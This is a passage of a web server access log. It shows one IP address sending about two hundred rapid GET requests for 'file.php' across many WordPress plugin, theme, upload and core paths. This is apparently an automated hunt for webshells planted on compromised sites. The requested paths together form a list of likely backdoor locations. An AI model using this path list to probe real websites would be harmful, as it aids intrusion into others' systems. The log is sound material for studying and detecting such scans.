- [12/Apr/2025:08:19:55 -0400] "GET /wp-content/plugins/lwgvais/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:56 -0400] "GET /wp-includes/Requests/Cookie/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:57 -0400] "GET /post.php/wp-includes/Requests/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:57 -0400] "GET /wp-includes/css/dist/block-library/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:57 -0400] "GET /wp-content/themes/gaukingo/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:58 -0400] "GET /wp-content/themes/wp-pridmag/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:58 -0400] "GET /plugins/broken-link-checker/core/utils/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:59 -0400] "GET /wp-includes/language/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:59 -0400] "GET /wp-includes/rest-api/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:00 -0400] "GET /wp-content/themes/twenty/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:01 -0400] "GET /wp-content/plugins/press/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:01 -0400] "GET /wp-content/plugins/dummyyummy/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:02 -0400] "GET /wp-includes/interactivity-api/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:02 -0400] "GET /wp-content/plugins/dapeasyinstaller/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:03 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:03 -0400] "GET /wp-content/uploads/2023/03/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:04 -0400] "GET /wp-includes/blocks/table/int/tmpl/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:04 -0400] "GET /lai/robotica/wp-content/themes/seotheme/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:05 -0400] "GET /filemanager/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:05 -0400] "GET /css/dmtixucz/golden-access/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:06 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:07 -0400] "GET /css/colors/coffee/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:07 -0400] "GET /wp-content/fonts/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:08 -0400] "GET /wp-includes/images/media/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:08 -0400] "GET /plugins/background-image-cropper/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:08 -0400] "GET /wp-includes/Requests/Text/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:09 -0400] "GET /wp-content/plugins/Core-Econ/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:09 -0400] "GET /wp-includes/SimplePie/HTTP/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:10 -0400] "GET /wp-content/plugins/vmgbzgi/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:10 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:10 -0400] "GET /wp-content/plugins/import-users-from-csv-with-meta/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:11 -0400] "GET /img/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:12 -0400] "GET /plugins/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:13 -0400] "GET /.well-known//.well-known/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:13 -0400] "GET /wp-content/uploads/2023/08/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:14 -0400] "GET /wp-content/plugins/sem-wysiwyg/fckeditor/editor/plugins/ImageManager/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:14 -0400] "GET /wp/wp-includes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:14 -0400] "GET /acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:15 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:15 -0400] "GET /wp-content/plugins/wpforms-lite/src/Migrations/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:16 -0400] "GET /sad/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:16 -0400] "GET /wp-content/plugins/gmxwbau/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:17 -0400] "GET /maintenance/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:18 -0400] "GET /s/Text/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:18 -0400] "GET /wp-content/plugins/html404/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:19 -0400] "GET /yanz.php/wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:19 -0400] "GET /wp-includes/images/wlw/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:20 -0400] "GET /wp-content/user/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:23 -0400] "GET /.wp-cli/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:24 -0400] "GET /wp-includes/css/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:25 -0400] "GET /wp-admin/css/colors/coffee/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:26 -0400] "GET /wp-content/plugins/whusrhk/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:26 -0400] "GET /wp-admin/js/wp-admin/js/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:27 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:27 -0400] "GET /certificates/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:28 -0400] "GET /wp-includes/blocks/post-author/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:29 -0400] "GET /de/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:29 -0400] "GET /wp-content/plugins/plugins/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:30 -0400] "GET /wp-content/themes/9rafadt6/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:30 -0400] "GET /css/dist/block-directory/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:31 -0400] "GET /.well-known/plugins/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:31 -0400] "GET /upload2/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:31 -0400] "GET /backup/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:32 -0400] "GET /wp-includes/css/dist/edit-site/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:32 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:33 -0400] "GET /reportes/wp-content/themes/e6rffsr5/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:33 -0400] "GET /xt/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:34 -0400] "GET /wp-includes/css/dist/preferences/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:34 -0400] "GET /wordpress/wp-content/themes/as/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:35 -0400] "GET /wp-content/plugins/elementor/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:35 -0400] "GET /wp-content/themes/twentytwentyfour/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:35 -0400] "GET /wp-content/plugins/eblovwl/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:36 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:36 -0400] "GET /admin/controller/extension/extension/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:36 -0400] "GET /wp-content/plugins/vslnxrk/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:36 -0400] "GET /wordpress/wp-includes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:36 -0400] "GET /wp-includes/Requests/Exception/HTTP/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:37 -0400] "GET /uploads/blog/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:37 -0400] "GET /wp-content/plugins/gvkyvhp/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:37 -0400] "GET /wp-content/plugins/efhkgws/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:37 -0400] "GET /wp-content/plugins/wcrkfqy/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:38 -0400] "GET /wp-content/plugins/seooyanz/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:38 -0400] "GET /wp-content/plugins/fcexjsk/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:39 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:39 -0400] "GET /modules/mod_webshell/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:39 -0400] "GET /wp-content/plugins/pahidtd/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:39 -0400] "GET /wp-content/themes/newstoday/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:40 -0400] "GET /wp-includes/IXR/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:40 -0400] "GET /wp-includes/pomo/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:40 -0400] "GET /wp-content/plugins/rneciwj/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:40 -0400] "GET /.well-known/pki-validation/wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:41 -0400] "GET /images/resumes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:41 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:41 -0400] "GET /wp-includes/rest-api/ZVQCc/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:42 -0400] "GET /home/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:42 -0400] "GET /wp-content/themes/astra/inc/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:42 -0400] "GET /wp-content/plugins/background-image-cropper/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:42 -0400] "GET /wp-includes/blocks/shortcode/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:43 -0400] "GET /wp-content/plugins/wp-db-ajax-made/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:43 -0400] "GET /wp-includes/sitemaps/providers/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:43 -0400] "GET /vendor/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:43 -0400] "GET /wp-includes/random_compat/bala.php/wp-content/uploads/wp_live_chat/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:44 -0400] "GET /wp-content/themes/travel/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:44 -0400] "GET /wp-content/plugins/apikey/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:44 -0400] "GET /wp-content/plugins/TOPXOH/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:44 -0400] "GET /wp-includes/js/dist/vendor/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:44 -0400] "GET /wp-includes/js/codemirror/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:45 -0400] "GET /doc.php/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:45 -0400] "GET /images/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:45 -0400] "GET /wp-content/plugins/envato-market/inc/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:45 -0400] "GET /wp-content/themes/digital-download/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:46 -0400] "GET /makeasmtp.php/wp-includes/Requests/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:46 -0400] "GET /print/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:46 -0400] "GET /wp-content/plugins/pxgpozm/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:46 -0400] "GET /wp-content/plugins/sid/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:47 -0400] "GET /wp-content/plugins/urawmub/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:47 -0400] "GET /wp-content/plugins/uiaqgqm/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:47 -0400] "GET /wp-content/plugins/gvkfsao/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:47 -0400] "GET /wp-admin/meta/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:48 -0400] "GET /components/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:48 -0400] "GET /assets/cms/plugins/ckfinder/_samples/php/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:48 -0400] "GET /wp-includes/Requests/Transport/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:49 -0400] "GET /wp-content/plugins/ubh/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:50 -0400] "GET /wp-includes/random_compat/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:50 -0400] "GET /css/dist/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:50 -0400] "GET /wp-content/plugins/erin/yani/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:51 -0400] "GET /wp-content/uploads/2023/10/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:51 -0400] "GET /wordpress/wp-admin/includes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:52 -0400] "GET /wp-content/plugins/dzs-zoomsounds/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:52 -0400] "GET /wp-content/uploads/2023/11/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:52 -0400] "GET /wp/wp-content/themes/w695elkq/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:52 -0400] "GET /wp/wp-admin/includes/wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:53 -0400] "GET /wp-content/plugins/smelzou/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:53 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:53 -0400] "GET /wp-content/themes/twentyseventeen/page/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:54 -0400] "GET /wp-content/themes/7nd9yzxp/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:54 -0400] "GET /wp-content/plugins/gdrxuof/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:54 -0400] "GET /wp-includes/blocks/calendar/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:55 -0400] "GET /wp-includes/Requests/library/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:55 -0400] "GET /wp-includes/SimplePie/Parse/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:55 -0400] "GET /wp-includes/Requests/src/Auth/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:55 -0400] "GET /wp-content/themes/jhie8k08/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:55 -0400] "GET /wp-includes/blocks/term-description/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:56 -0400] "GET /wp-content/plugins/cifkpgk/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:56 -0400] "GET /images/IMG_contenidos/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:56 -0400] "GET /vendor/bin/loader.php/wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:56 -0400] "GET /wp-content/plugins/dmozhzr/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:57 -0400] "GET /wp/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:57 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:57 -0400] "GET /wp-content/themes/wp-classic/inc/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:57 -0400] "GET /about/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:58 -0400] "GET /wp-content/plugins/upme/ajax/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:58 -0400] "GET /wp-includes/SimplePie/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:58 -0400] "GET /wp-content/themes/travelscape/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:58 -0400] "GET /wp-content/plugins/wp-hps/sh/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:59 -0400] "GET /wp-content/plugins/ioxi/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:59 -0400] "GET /wp-includes/Requests/about.php/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:59 -0400] "GET /site/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:59 -0400] "GET /themes/zMousse/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:20:59 -0400] "GET /wp-content/plugins/ttsgmsw/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:00 -0400] "GET /wordpress/wp-includes/IXR/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:00 -0400] "GET /wp-content/plugins/elementor/includes/settings/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:00 -0400] "GET /Assets/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:00 -0400] "GET /libraries/phpmailer/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:01 -0400] "GET /wp-content/plugins/zxmunes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:01 -0400] "GET /admin/editor/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:02 -0400] "GET /wp-includes_old/Requests/Cookie/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:02 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:03 -0400] "GET /wp-content/themes/twentytwenty/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:04 -0400] "GET /wp-content/uploads/2014/03/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:04 -0400] "GET /wp-content/themes/tflow/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:04 -0400] "GET /images/sold/big/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:05 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:06 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:06 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:06 -0400] "GET /wp-content/plugins/fgcpghg/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:07 -0400] "GET /wp-content/plugins/myhbidf/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:07 -0400] "GET /wp-admin/ccx/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:08 -0400] "GET /wp-content/plugins/backup-backup/includes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:08 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:09 -0400] "GET /wp-content/plugins/iadjojm/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:10 -0400] "GET /pomo/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:10 -0400] "GET /wp-includes/Requests/Exception/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:11 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:11 -0400] "GET /js/tinymce/skins/lightgray/fonts/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:12 -0400] "GET /libraries/legacy/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:13 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:14 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:14 -0400] "GET /system/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:15 -0400] "GET /wp-content/themes/hideo/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:15 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:16 -0400] "GET /wp-content/uploads/2021/03/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:16 -0400] "GET /wp-includes/js/jcrop/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:17 -0400] "GET /wp-content/plugins/erinyani/yani/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:17 -0400] "GET /wp-content/themes/onum-child/custom-templates/dir/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:18 -0400] "GET /wp-admin/themes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:18 -0400] "GET /wp-content/plugins/not/includes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:19 -0400] "GET /test/maxitest_v3/wp-content/themes/seotheme/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:19 -0400] "GET /wp-includes/customize/Dj1Gk/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:19 -0400] "GET /wp-includes/SimplePie/Cache/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:19 -0400] "GET /wp-content/plugins/ccx/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:20 -0400] "GET /admin/fckeditor/editor/filemanager/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:20 -0400] "GET /wp-content/upgrade/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:20 -0400] "GET /about.php?dir=/home/tvfuazjx/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:21 -0400] "GET /wp-includes/css/dist/components/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:21 -0400] "GET /wp-content/themes/sketch/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:21 -0400] "GET /wp-includes/block-bindings/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:22 -0400] "GET /wp-includes/js/jquery/ui/3k0sm2/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:22 -0400] "GET /wp-content/plugins/zupqfup/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:23 -0400] "GET /wp-content/themes/classic/inc/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - 